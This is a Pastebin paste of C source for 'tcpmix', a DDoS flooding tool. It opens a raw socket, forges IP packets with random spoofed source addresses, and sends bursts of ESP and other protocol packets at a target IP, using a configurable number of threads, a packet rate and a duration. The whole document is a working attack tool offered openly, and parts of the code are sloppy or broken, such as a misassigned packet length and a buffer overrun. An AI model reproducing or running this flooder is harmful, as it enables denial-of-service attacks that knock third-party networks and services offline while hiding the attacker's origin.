Advertisement
TNFModding

tcpmix

Aug 21st, 2022 (edited)
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.69 KB | None | 0 0
  1. // made by tylerx
  2.  
  3. #include <pthread.h>
  4. #include <unistd.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11.  
  12. #define MAX_PACKET_SIZE 4096
  13. #define PHI 0x9e3779b9
  14.  
  15. static unsigned long int Q[4096], c = 362436;
  16. static unsigned int floodport;
  17. volatile int limiter;
  18. volatile unsigned int pps;
  19. volatile unsigned int sleeptime = 100;
  20. char pass[1500];
  21. int ii;
  22. static const char queryPrefix[] = "\xff\xff\xff\xff";
  23.  
  24. void init_rand(unsigned long int x)
  25. {
  26. int i;
  27. Q[0] = x;
  28. Q[1] = x + PHI;
  29. Q[2] = x + PHI + PHI;
  30. for (i = 3; i < 4096; i++){ Q[i] = Q[i] ^ Q[i] ^ PHI ^ i; }
  31. }
  32. unsigned long int rand_cmwc(void)
  33. {
  34. unsigned long long int t, a = 18782LL;
  35. static unsigned long int i = 4095;
  36. unsigned long int x, r = 0xfffffffe;
  37. i = (i + 1) & 4095;
  38. t = a * Q[i] + c;
  39. c = (t >> 32);
  40. x = t + c;
  41. if (x < c) {
  42. x++;
  43. c++;
  44. }
  45. return (Q[i] = r - x);
  46. }
  47. unsigned short csum (unsigned short *buf, int count)
  48. {
  49. register unsigned long sum = 0;
  50. while( count > 1 ) { sum += *buf++; count -= 2; }
  51. if(count > 0) { sum += *(unsigned char *)buf; }
  52. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  53. return (unsigned short)(~sum);
  54. }
  55.  
  56. void setup_ip_header(struct iphdr *iph)
  57. {
  58. iph->ihl = 5;
  59. iph->version = 4;
  60. iph->tos = 0;
  61. iph->tot_len = queryPrefix + sizeof(struct iphdr) + sizeof(struct tcphdr) + 25;
  62. iph->id = rand();
  63. iph->frag_off = 0;
  64. iph->ttl = MAXTTL;
  65. iph->protocol = IPPROTO_TCP;
  66. iph->check = 0;
  67. iph->saddr = inet_addr("192.168.3.100");
  68. }
  69.  
  70. void setup_tcp_header(struct tcphdr *tcph)
  71. {
  72. tcph->source = htons(500);
  73. tcph->dest = htons(500);
  74. tcph->check = 0;
  75.  
  76. //tcph->len=htons(sizeof(struct tcphdr) + 25);
  77. }
  78.  
  79. void *flood(void *par1)
  80. {
  81. char *td = (char *)par1;
  82. char datagram[MAX_PACKET_SIZE];
  83. struct iphdr *iph = (struct iphdr *)datagram;
  84. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  85.  
  86. struct sockaddr_in sin;
  87. sin.sin_family = AF_INET;
  88. sin.sin_port = htons(17015);
  89. sin.sin_addr.s_addr = inet_addr(td);
  90.  
  91. int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  92. if(s < 0){
  93. fprintf(stderr, "Could not open raw socket.\n");
  94. exit(-1);
  95. }
  96. memset(datagram, 0, MAX_PACKET_SIZE);
  97. setup_ip_header(iph);
  98.  
  99. //porco
  100.  
  101.  
  102.  
  103. iph->daddr = sin.sin_addr.s_addr;
  104. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  105.  
  106. int tmp = 1;
  107. const int *val = &tmp;
  108. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  109. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  110. exit(-1);
  111. }
  112.  
  113. init_rand(time(NULL));
  114. register unsigned int i;
  115. i = 0;
  116. while(1){
  117.  
  118. for(ii = 0; ii < 1500; ii++) {
  119. pass[ii] = rand() % (1500 + 1 - 0) + 0;
  120. }
  121. pass[ii] = '\0';
  122. void *data = (void *)tcph + sizeof(struct tcphdr);
  123. memset(data, 0xFF, 4);
  124. strcpy(data+4, pass);
  125. setup_tcp_header(tcph);
  126.  
  127. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  128. iph->tot_len = rand() % (1500 + 1 - 0) + 0;
  129. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  130. //iph->ttl = rand() % (255 + 1 - 0) + 0;
  131.  
  132. //ISAKMP Packet
  133. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  134. tcph->source = htons(rand_cmwc() & 0xFFFF);
  135. iph->protocol = 16;
  136. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  137.  
  138. //ESP Packet
  139. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  140. iph->protocol = 50;
  141. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  142.  
  143. pps++;
  144. if(i >= limiter)
  145. {
  146. i = 0;
  147. usleep(sleeptime);
  148. }
  149. i++;
  150. }
  151. }
  152. int main(int argc, char *argv[ ])
  153. {
  154. if(argc < 5){
  155. fprintf(stderr, "tcpmix\n");
  156. fprintf(stdout, "\nUsage: %s ip threads -1 time\n", argv[0]);
  157. exit(-1);
  158. }
  159.  
  160. fprintf(stdout, "Setting up Sockets...\n");
  161.  
  162. int num_threads = atoi(argv[2]);
  163. int maxpps = atoi(argv[3]);
  164.  
  165. limiter = 0;
  166. pps = 0;
  167. pthread_t thread[num_threads];
  168.  
  169. int multiplier = 100;
  170.  
  171. int i;
  172. for(i = 0;i<num_threads;i++){
  173. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  174. }
  175. fprintf(stdout, "Sending packets...\n");
  176. fprintf(stdout, "EvilESP 3 started!\n");
  177. for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  178. {
  179. usleep((1000/multiplier)*1000);
  180. if((pps*multiplier) > maxpps)
  181. {
  182. if(1 > limiter)
  183. {
  184. sleeptime+=100;
  185. } else {
  186. limiter--;
  187. }
  188. } else {
  189. limiter++;
  190. if(sleeptime > 25)
  191. {
  192. sleeptime-=25;
  193. } else {
  194. sleeptime = 0;
  195. }
  196. }
  197. pps = 0;
  198. }
  199.  
  200. return 0;
  201. }
  202.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement